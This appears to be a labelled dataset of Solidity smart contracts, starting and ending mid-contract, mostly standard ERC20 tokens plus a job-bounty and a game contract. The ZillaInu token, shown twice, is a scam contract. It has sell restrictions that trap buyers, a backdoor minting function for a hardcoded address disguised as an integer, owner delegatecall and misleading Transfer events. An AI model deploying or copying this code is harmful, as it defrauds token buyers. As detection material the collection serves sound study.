for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,880 |
pragma solidity ^0.4.24;
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface ERC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract JobsBounty is Ownable, ReentrancyGuard {
using SafeMath for uint256;
string public companyName;
string public jobPost;
uint public endDate;
address public INDToken = 0xf8e386eda857484f5a12e4b5daa9984e06e73705;
constructor(string _companyName,
string _jobPost,
uint _endDate
) public{
companyName = _companyName;
jobPost = _jobPost ;
endDate = _endDate;
}
function ownBalance() public view returns(uint256) {
return ERC20(INDToken).balanceOf(this);
}
function payOutBounty(address _referrerAddress, address _candidateAddress) public onlyOwner nonReentrant returns(bool){
uint256 amountCandidate = (ERC20(INDToken).balanceOf(this) / 100) * 50;
uint256 amountReferrer = (ERC20(INDToken).balanceOf(this) / 100) * 50;
assert(block.timestamp >= endDate);
assert(ERC20(INDToken).transfer(_candidateAddress, amountCandidate));
assert(ERC20(INDToken).transfer(_referrerAddress, amountReferrer));
return true;
}
function withdrawERC20Token(address anyToken) public onlyOwner nonReentrant returns(bool){
if( anyToken != address(0x0) ) {
assert(block.timestamp >= endDate);
assert(ERC20(anyToken).transfer(owner, ERC20(anyToken).balanceOf(this)));
return true;
}
return false;
}
function withdrawEther() public nonReentrant returns(bool){
if(address(this).balance > 0){
owner.transfer(address(this).balance);
}
return true;
}
} | 0 | 644 |
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ERC20Token is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function ERC20Token(
) {
balances[msg.sender] = 500000000000;
totalSupply = 500000000000;
name = "Datocoin";
decimals = 4;
symbol = " DTCN";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,141 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract COC_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "COCChain";
string public symbol = "COC";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 1000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 929 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ZillaInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,238 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DWCC is StandardToken {
string public name = "Drop Wash Car Chain";
string public symbol = "DWCC";
uint public decimals = 8;
uint256 public constant total= 2000000000 * (10 ** uint256(decimals));
function DWCC(address owner) {
balances[owner] = total;
totalSupply = total;
}
} | 1 | 2,185 |
pragma solidity >=0.5.0 <0.6.0;
library SafeMathUint256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a, "SafeMath: Addition eception");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
library SafeMathUint8 {
function mul(uint8 a, uint8 b) internal pure returns (uint8 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath: Multiplier exception");
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return a / b;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
require(b <= a, "SafeMath: Subtraction exception");
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8 c) {
c = a + b;
require(c >= a, "SafeMath: Addition eception");
return c;
}
function mod(uint8 a, uint8 b) internal pure returns (uint8) {
require(b != 0, "SafeMath: Modulo exception");
return a % b;
}
}
contract Ownership {
address payable public owner;
address payable public pendingOwner;
event OwnershipTransferred (address indexed from, address indexed to);
constructor () public
{
owner = msg.sender;
}
modifier onlyOwner {
require (msg.sender == owner, "Ownership: Access denied");
_;
}
function transferOwnership (address payable _pendingOwner) public
onlyOwner
{
pendingOwner = _pendingOwner;
}
function acceptOwnership () public
{
require (msg.sender == pendingOwner, "Ownership: Only new owner is allowed");
emit OwnershipTransferred (owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Controllable is Ownership {
bool public stopped;
mapping (address => bool) public freezeAddresses;
event Paused();
event Resumed();
event FreezeAddress(address indexed addressOf);
event UnfreezeAddress(address indexed addressOf);
modifier onlyActive(address _sender) {
require(!freezeAddresses[_sender], "Controllable: Not active");
_;
}
modifier isUsable {
require(!stopped, "Controllable: Paused");
_;
}
function pause () public
onlyOwner
{
stopped = true;
emit Paused ();
}
function resume () public
onlyOwner
{
stopped = false;
emit Resumed ();
}
function freezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (!freezeAddresses[_addressOf]) {
freezeAddresses[_addressOf] = true;
emit FreezeAddress(_addressOf);
}
return true;
}
function unfreezeAddress(address _addressOf) public
onlyOwner
returns (bool)
{
if (freezeAddresses[_addressOf]) {
delete freezeAddresses[_addressOf];
emit UnfreezeAddress(_addressOf);
}
return true;
}
}
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Controllable {
using SafeMathUint256 for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply;
constructor(uint256 _initialSupply) public
{
totalSupply = _initialSupply;
if (0 < _initialSupply) {
balances[msg.sender] = _initialSupply;
emit Transfer(address(0), msg.sender, _initialSupply);
}
}
function transfer(address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "BasicToken.transfer: Zero value");
require(_value <= balances[msg.sender], "BasicToken.transfer: Insufficient fund");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view
returns (uint256 balance)
{
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_from)
onlyActive(_to)
returns (bool)
{
require(0 < _value, "StandardToken.transferFrom: Zero value");
require(_value <= balances[_from], "StandardToken.transferFrom: Insufficient fund");
require(_value <= allowed[_from][msg.sender], "StandardToken.transferFrom: Insufficient allowance");
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _value, "StandardToken.approve: Zero value");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _addedValue, "StandardToken.increaseApproval: Zero value");
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public
isUsable
onlyActive(msg.sender)
onlyActive(_spender)
returns (bool)
{
require(0 < _subtractedValue, "StandardToken.decreaseApproval: Zero value");
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue)
allowed[msg.sender][_spender] = 0;
else
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ApprovalReceiver {
function receiveApproval(address _from, uint256 _value, address _tokenContract, bytes memory _extraData) public;
}
contract RLACoin is StandardToken {
using SafeMathUint256 for uint256;
event Freeze(address indexed from, uint256 value);
event Unfreeze(address indexed from, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
mapping (address => uint256) public freezeOf;
constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _initialSupply) public
BasicToken(_initialSupply)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function freeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= balances[_from], "RLACoin.freeze: Insufficient fund");
balances[_from] = balances[_from].sub(_value);
freezeOf[_from] = freezeOf[_from].add(_value);
emit Freeze(_from, _value);
return true;
}
function unfreeze(address _from, uint256 _value) external
onlyOwner
returns (bool)
{
require(_value <= freezeOf[_from], "RLACoin.unfreeze: Insufficient fund");
freezeOf[_from] = freezeOf[_from].sub(_value);
balances[_from] = balances[_from].add(_value);
emit Unfreeze(_from, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes calldata _extraData) external
isUsable
returns (bool)
{
approve(_spender, _value);
ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
} | 1 | 2,873 |
pragma solidity ^0.4.21;
contract Memes{
address owner;
address helper=0x690F34053ddC11bdFF95D44bdfEb6B0b83CBAb58;
uint256 public TimeFinish = 0;
uint256 TimerResetTime = 7200000;
uint256 TimerStartTime = 360000;
uint256 public Pot = 0;
uint16 PIncr = 10000;
uint16 DIVP = 10000;
uint16 POTP = 0;
uint16 WPOTPART = 9000;
uint16 public DEVP = 500;
uint16 public HVAL = 5000;
uint256 BasicPrice = .00666 ether;
struct Item{
address owner;
uint256 CPrice;
bool reset;
}
uint8 constant SIZE = 17;
Item[SIZE] public ItemList;
address public PotOwner;
event ItemBought(address owner, uint256 newPrice, string says, uint8 id);
event GameWon(address owner, uint256 paid, uint256 npot);
modifier OnlyOwner(){
if (msg.sender == owner){
_;
}
else{
revert();
}
}
function SetDevFee(uint16 tfee) public OnlyOwner{
require(tfee <= 500);
DEVP = tfee;
}
function SetHFee(uint16 hfee) public OnlyOwner {
require(hfee <= 10000);
require(hfee >= 1000);
HVAL = hfee;
}
function Memes() public {
var ITM = Item(msg.sender, BasicPrice, true );
ItemList[0] = ITM;
ItemList[1] = ITM;
ItemList[2] = ITM;
ItemList[3] = ITM;
ItemList[4] = ITM;
ItemList[5] = ITM;
ItemList[6] = ITM;
ItemList[7] = ITM;
ItemList[8] = ITM;
ItemList[9] = ITM;
ItemList[10] = ITM;
ItemList[11] = ITM;
ItemList[12] = ITM;
ItemList[13] = ITM;
ItemList[14] = ITM;
ItemList[15] = ITM;
ItemList[16] = ITM;
owner=msg.sender;
}
function Buy(uint8 ID, string says) public payable {
require(ID < SIZE);
var ITM = ItemList[ID];
if (TimeFinish == 0){
TimeFinish = block.timestamp;
}
else if (TimeFinish == 1){
TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
address sender_target = owner;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
sender_target = ITM.owner;
}
else{
prev_val = LEFT;
pot_val = 0;
}
Pot = Pot + pot_val;
sender_target.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
